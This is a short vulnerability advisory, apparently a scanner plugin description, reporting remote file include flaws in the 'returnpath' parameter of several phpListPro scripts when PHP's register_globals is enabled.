Synopsis :

The remote web server contains a PHP application that is affected by
remote file include vulnerabilities. 

Description :

The remote host is running phpListPro, a web site voting/ranking tool
written in PHP. 

The installed version of phpListPro fails to sanitize user input to
the 'returnpath' parameter of the 'config.php', 'editsite.php',
'addsite.php', and 'in.php' scripts before using it to include PHP
code from other files.  An unauthenticated attacker may be able to
read arbitrary local files or include a file from a remote host that
contains commands which will be executed on the remote host subject to
the privileges of the web server process. 

These flaws are only exploitable if PHP's 'register_globals' is
enabled.
